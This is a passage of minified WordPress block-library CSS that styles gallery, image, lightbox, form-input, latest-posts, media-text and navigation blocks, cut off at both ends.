*+.wp-block-file__button{margin-left:.75em}:where(.wp-block-file){margin-bottom:1.5em}.wp-block-file__embed{margin-bottom:1em}:where(.wp-block-file__button){border-radius:2em;display:inline-block;padding:.5em 1em}:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-form-input__label{display:flex;flex-direction:column;gap:.25em;margin-bottom:.5em;width:100%}.wp-block-form-input__label.is-label-inline{align-items:center;flex-direction:row;gap:.5em}.wp-block-form-input__label.is-label-inline .wp-block-form-input__label-content{margin-bottom:.5em}.wp-block-form-input__label:has(input[type=checkbox]){flex-direction:row-reverse;width:-moz-fit-content;width:fit-content}.wp-block-form-input__label-content{width:-moz-fit-content;width:fit-content}.wp-block-form-input__input{font-size:1em;margin-bottom:.5em;padding:0 .5em}.wp-block-form-input__input[type=date],.wp-block-form-input__input[type=datetime-local],.wp-block-form-input__input[type=datetime],.wp-block-form-input__input[type=email],.wp-block-form-input__input[type=month],.wp-block-form-input__input[type=number],.wp-block-form-input__input[type=password],.wp-block-form-input__input[type=search],.wp-block-form-input__input[type=tel],.wp-block-form-input__input[type=text],.wp-block-form-input__input[type=time],.wp-block-form-input__input[type=url],.wp-block-form-input__input[type=week]{border:1px solid;line-height:2;min-height:2em}textarea.wp-block-form-input__input{min-height:10em}.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 1em 1em 0;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-right:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-right:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-right:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-right:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-right:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-right:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-right:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-right:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-right:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-right:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:13px;left:0;margin-bottom:0;max-height:60%;overflow:auto;padding:0 8px 8px;position:absolute;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;text-align:center;width:100%;will-change:transform}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{height:12px;width:12px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{background-color:initial}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{background-color:#fffc}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{scrollbar-color:#fffc #0000}@media (hover:none){.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#fffc #0000}}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center}.wp-block-group{box-sizing:border-box}h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-image .is-style-rounded img,.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}.wp-block-image :where(.has-border-color){border-style:solid}.wp-block-image :where([style*=border-top-color]){border-top-style:solid}.wp-block-image :where([style*=border-right-color]){border-right-style:solid}.wp-block-image :where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-image :where([style*=border-left-color]){border-left-style:solid}.wp-block-image :where([style*=border-width]){border-style:solid}.wp-block-image :where([style*=border-top-width]){border-top-style:solid}.wp-block-image :where([style*=border-right-width]){border-right-style:solid}.wp-block-image :where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-image :where([style*=border-left-width]){border-left-style:solid}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;opacity:0;padding:0;position:absolute;right:16px;text-align:center;top:16px;transition:opacity .2s ease;width:20px;z-index:100}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;left:0;overflow:hidden;position:fixed;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;min-height:40px;min-width:40px;padding:0;position:absolute;right:calc(env(safe-area-inset-right) + 16px);top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);left:50%;overflow:hidden;position:absolute;top:50%;transform:translate(-50%,-50%);transform-origin:top left;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:0 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both;visibility:visible}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}@media (prefers-reduced-motion:no-preference){.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(-50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(-50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}ol.wp-block-latest-comments{box-sizing:border-box;margin-left:0}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){line-height:1.1}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){line-height:1.8}.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){line-height:1.5}.wp-block-latest-comments .wp-block-latest-comments{padding-left:0}.wp-block-latest-comments__comment{list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{list-style:none;min-height:2.25em}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-left:3.25em}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;width:2.5em}.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{font-size:inherit}.wp-block-latest-posts{box-sizing:border-box}.wp-block-latest-posts.alignleft{margin-right:2em}.wp-block-latest-posts.alignright{margin-left:2em}.wp-block-latest-posts.wp-block-latest-posts__list{list-style:none;padding-left:0}.wp-block-latest-posts.wp-block-latest-posts__list li{clear:both}.wp-block-latest-posts.is-grid{display:flex;flex-wrap:wrap;padding:0}.wp-block-latest-posts.is-grid li{margin:0 1.25em 1.25em 0;width:100%}@media (min-width:600px){.wp-block-latest-posts.columns-2 li{width:calc(50% - .625em)}.wp-block-latest-posts.columns-2 li:nth-child(2n){margin-right:0}.wp-block-latest-posts.columns-3 li{width:calc(33.33333% - .83333em)}.wp-block-latest-posts.columns-3 li:nth-child(3n){margin-right:0}.wp-block-latest-posts.columns-4 li{width:calc(25% - .9375em)}.wp-block-latest-posts.columns-4 li:nth-child(4n){margin-right:0}.wp-block-latest-posts.columns-5 li{width:calc(20% - 1em)}.wp-block-latest-posts.columns-5 li:nth-child(5n){margin-right:0}.wp-block-latest-posts.columns-6 li{width:calc(16.66667% - 1.04167em)}.wp-block-latest-posts.columns-6 li:nth-child(6n){margin-right:0}}.wp-block-latest-posts__post-author,.wp-block-latest-posts__post-date{display:block;font-size:.8125em}.wp-block-latest-posts__post-excerpt{margin-bottom:1em;margin-top:.5em}.wp-block-latest-posts__featured-image a{display:inline-block}.wp-block-latest-posts__featured-image img{height:auto;max-width:100%;width:auto}.wp-block-latest-posts__featured-image.alignleft{float:left;margin-right:1em}.wp-block-latest-posts__featured-image.alignright{float:right;margin-left:1em}.wp-block-latest-posts__featured-image.aligncenter{margin-bottom:1em;text-align:center}ol,ul{box-sizing:border-box}ol.has-background,ul.has-background{padding:1.25em 2.375em}.wp-block-media-text{box-sizing:border-box;
  /*!rtl:begin:ignore*/direction:ltr;
  /*!rtl:end:ignore*/display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media{align-self:start}.wp-block-media-text .wp-block-media-text__content,.wp-block-media-text .wp-block-media-text__media,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media{align-self:center}.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media{align-self:end}.wp-block-media-text .wp-block-media-text__media{
  /*!rtl:begin:ignore*/grid-column:1;grid-row:1;
  /*!rtl:end:ignore*/margin:0}.wp-block-media-text .wp-block-media-text__content{direction:ltr;
  /*!rtl:begin:ignore*/grid-column:2;grid-row:1;
  /*!rtl:end:ignore*/padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__media{
  /*!rtl:begin:ignore*/grid-column:2;grid-row:1
  /*!rtl:end:ignore*/}.wp-block-media-text.has-media-on-the-right .wp-block-media-text__content{
  /*!rtl:begin:ignore*/grid-column:1;grid-row:1
  /*!rtl:end:ignore*/}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill .wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill .wp-block-media-text__media img{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content{grid-column:1;grid-row:2}}.wp-block-navigation{position:relative;--navigation-layout-justification-setting:flex-start;--navigation-layout-direction:row;--navigation-layout-wrap:wrap;--navigation-layout-justify:flex-start;--navigation-layout-align:center}.wp-block-navigation ul{margin-bottom:0;margin-left:0;margin-top:0;padding-left:0}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none;padding:0}.wp-block-navigation .wp-block-navigation-item{align-items:center;display:flex;position:relative}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{display:none}.wp-block-navigation .wp-block-navigation-item__content{display:block}.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{color:inherit}.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{text-decoration:underline}.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{text-decoration:line-through}.wp-block-navigation:where(:not([class*=has-text-decoration])) a{text-decoration:none}.wp-block-navigation:where(:not([class*=has-text-decoration])) a:active,.wp-block-navigation:where(:not([class*=has-text-decoration])) a:focus{text-decoration:none}.wp-block-navigation 